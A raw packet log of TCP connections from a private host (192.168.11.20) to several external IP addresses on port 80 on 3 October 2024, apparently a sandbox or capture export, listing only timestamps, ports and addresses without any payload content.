Oct 3, 2024 18:14:44.105123043 CEST	49773	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:44.110172987 CEST	49773	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:44.301197052 CEST	80	49773	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:44.301213980 CEST	80	49773	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:44.301223993 CEST	80	49773	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:44.301465988 CEST	49773	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:44.303255081 CEST	49773	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:44.494571924 CEST	80	49773	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:49.878218889 CEST	49774	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:50.060144901 CEST	80	49774	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:50.060298920 CEST	49774	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:50.070063114 CEST	49774	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:50.251671076 CEST	80	49774	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:50.254766941 CEST	80	49774	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:50.255088091 CEST	80	49774	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:50.255211115 CEST	49774	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:51.582273006 CEST	49774	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:52.599473000 CEST	49775	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:52.781619072 CEST	80	49775	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:52.781956911 CEST	49775	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:52.789407015 CEST	49775	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:52.971714973 CEST	80	49775	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:52.975066900 CEST	80	49775	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:52.975289106 CEST	80	49775	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:52.975390911 CEST	49775	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:54.300353050 CEST	49775	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:55.317629099 CEST	49776	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:55.499239922 CEST	80	49776	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:55.499423981 CEST	49776	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:55.507205963 CEST	49776	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:55.507256031 CEST	49776	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:55.507303953 CEST	49776	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:55.688714027 CEST	80	49776	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:55.688823938 CEST	80	49776	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:55.688834906 CEST	80	49776	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:55.688843966 CEST	80	49776	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:55.688852072 CEST	80	49776	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:55.688927889 CEST	80	49776	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:55.691967010 CEST	80	49776	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:55.692038059 CEST	80	49776	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:55.692282915 CEST	49776	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:57.018448114 CEST	49776	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:58.035806894 CEST	49777	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:58.217459917 CEST	80	49777	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:58.217674971 CEST	49777	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:58.223434925 CEST	49777	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:58.404874086 CEST	80	49777	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:58.407011986 CEST	80	49777	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:58.407335997 CEST	80	49777	195.110.124.133	192.168.11.20
Oct 3, 2024 18:14:58.407464981 CEST	49777	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:58.409368038 CEST	49777	80	192.168.11.20	195.110.124.133
Oct 3, 2024 18:14:58.590961933 CEST	80	49777	195.110.124.133	192.168.11.20
Oct 3, 2024 18:15:04.815900087 CEST	49778	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:05.028604984 CEST	80	49778	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:05.028770924 CEST	49778	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:05.036295891 CEST	49778	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:05.248574018 CEST	80	49778	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:05.249392986 CEST	80	49778	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:05.249603987 CEST	49778	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:06.547549009 CEST	49778	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:07.565018892 CEST	49779	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:07.776122093 CEST	80	49779	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:07.776294947 CEST	49779	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:07.783873081 CEST	49779	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:07.994975090 CEST	80	49779	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:08.010195017 CEST	80	49779	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:08.010356903 CEST	49779	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:09.297032118 CEST	49779	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:10.314374924 CEST	49780	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:10.529346943 CEST	80	49780	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:10.529606104 CEST	49780	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:10.537293911 CEST	49780	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:10.537342072 CEST	49780	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:10.537393093 CEST	49780	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:10.752350092 CEST	80	49780	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:10.752363920 CEST	80	49780	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:10.752439976 CEST	80	49780	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:10.752686977 CEST	80	49780	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:10.752696037 CEST	80	49780	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:10.756115913 CEST	80	49780	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:10.756344080 CEST	49780	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:12.046437025 CEST	49780	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:13.063786983 CEST	49781	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:13.278912067 CEST	80	49781	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:13.279124022 CEST	49781	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:13.284184933 CEST	49781	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:13.499084949 CEST	80	49781	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:13.502598047 CEST	80	49781	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:13.502876997 CEST	49781	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:13.504693985 CEST	49781	80	192.168.11.20	176.123.9.220
Oct 3, 2024 18:15:13.719463110 CEST	80	49781	176.123.9.220	192.168.11.20
Oct 3, 2024 18:15:21.592447042 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:21.767863035 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:21.768028021 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:21.773065090 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:21.948266983 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:21.970737934 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:21.970834017 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:21.970856905 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:21.970953941 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:21.970967054 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:21.970978975 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:21.970990896 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:21.971038103 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:21.971128941 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:21.971206903 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:21.971209049 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:21.971265078 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:21.971452951 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.146390915 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.146497011 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.146616936 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.146630049 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.146642923 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.146750927 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.146775961 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.146827936 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.146876097 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.146881104 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.146934986 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.146934986 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.147258997 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.147259951 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.147259951 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.147260904 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.147260904 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.147260904 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.147262096 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.147262096 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.147263050 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.147473097 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.147494078 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.147506952 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.147737980 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.322179079 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322194099 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322207928 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322220087 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322244883 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322257996 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322333097 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322346926 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322359085 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322371006 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322519064 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322531939 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322544098 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322606087 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322772980 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322786093 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322798967 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322801113 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.322879076 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.322899103 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322913885 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322926044 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.322993040 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.323014975 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323029041 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323040962 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323163986 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.323177099 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323189974 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323201895 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323223114 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.323286057 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323302031 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323380947 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.323429108 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323441982 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323453903 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323455095 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.323504925 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323518038 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323529959 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323616982 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323632002 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.323663950 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323693991 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.323766947 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323847055 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.323856115 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323915005 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.323929071 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.324059963 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.497992992 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498060942 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498114109 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498126984 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498142004 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498183012 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498250008 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498267889 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498280048 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498292923 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498307943 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498315096 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.498315096 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.498366117 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498372078 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.498378992 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498390913 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498404026 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498471022 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.498472929 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498486996 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498500109 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498569012 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.498621941 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498636007 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498652935 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498666048 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.498723030 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498744011 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498765945 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498786926 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498800993 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498814106 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498821974 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.498857975 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498871088 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.498872042 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498883963 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498897076 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.498951912 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.498960972 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:22.499049902 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.499160051 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.501355886 CEST	49782	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:15:22.676476955 CEST	80	49782	5.39.10.93	192.168.11.20
Oct 3, 2024 18:15:27.513788939 CEST	49783	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:27.610703945 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:27.610904932 CEST	49783	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:27.618412018 CEST	49783	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:27.714262962 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.149975061 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.150047064 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.150058985 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.150073051 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.150171995 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.150183916 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.150194883 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.150245905 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.150331974 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.150343895 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.150453091 CEST	49783	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:28.150453091 CEST	49783	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:28.150453091 CEST	49783	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:28.150621891 CEST	49783	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:28.247855902 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.247901917 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.247917891 CEST	80	49783	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:28.248142004 CEST	49783	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:29.120765924 CEST	49783	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:30.138138056 CEST	49784	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:30.232986927 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.233248949 CEST	49784	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:30.240906000 CEST	49784	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:30.335632086 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.752223969 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.752314091 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.752326965 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.752405882 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.752547026 CEST	49784	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:30.752599001 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.752702951 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.752713919 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.752718925 CEST	49784	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:30.752754927 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.752767086 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.752803087 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.753057003 CEST	49784	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:30.847242117 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.847255945 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.847323895 CEST	80	49784	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:30.847526073 CEST	49784	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:30.847696066 CEST	49784	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:31.745219946 CEST	49784	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:32.762552023 CEST	49785	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:32.858786106 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:32.858943939 CEST	49785	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:32.866683960 CEST	49785	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:32.866734982 CEST	49785	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:32.965754032 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:32.967755079 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.394382000 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.394465923 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.394593954 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.394607067 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.394702911 CEST	49785	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:33.394718885 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.394731045 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.394813061 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.394871950 CEST	49785	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:33.394920111 CEST	49785	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:33.395065069 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.395113945 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.395126104 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.395339966 CEST	49785	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:33.395339966 CEST	49785	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:33.502125025 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.502223015 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.502237082 CEST	80	49785	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:33.502458096 CEST	49785	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:33.502458096 CEST	49785	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:34.369582891 CEST	49785	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:35.386959076 CEST	49786	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:35.485243082 CEST	80	49786	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:35.485399961 CEST	49786	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:35.490434885 CEST	49786	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:35.585707903 CEST	80	49786	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:35.930792093 CEST	80	49786	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:35.930803061 CEST	80	49786	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:35.931078911 CEST	49786	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:35.932900906 CEST	49786	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:15:36.034960032 CEST	80	49786	162.250.125.14	192.168.11.20
Oct 3, 2024 18:15:40.948394060 CEST	49787	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:41.246825933 CEST	80	49787	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:41.247009039 CEST	49787	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:41.254548073 CEST	49787	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:41.552850008 CEST	80	49787	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:41.566009998 CEST	80	49787	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:41.566097021 CEST	80	49787	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:41.566212893 CEST	49787	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:42.758424997 CEST	49787	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:43.775757074 CEST	49788	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:44.074749947 CEST	80	49788	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:44.074866056 CEST	49788	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:44.082454920 CEST	49788	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:44.380801916 CEST	80	49788	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:44.395708084 CEST	80	49788	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:44.395720005 CEST	80	49788	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:44.395872116 CEST	49788	80	192.168.11.20	156.227.17.86
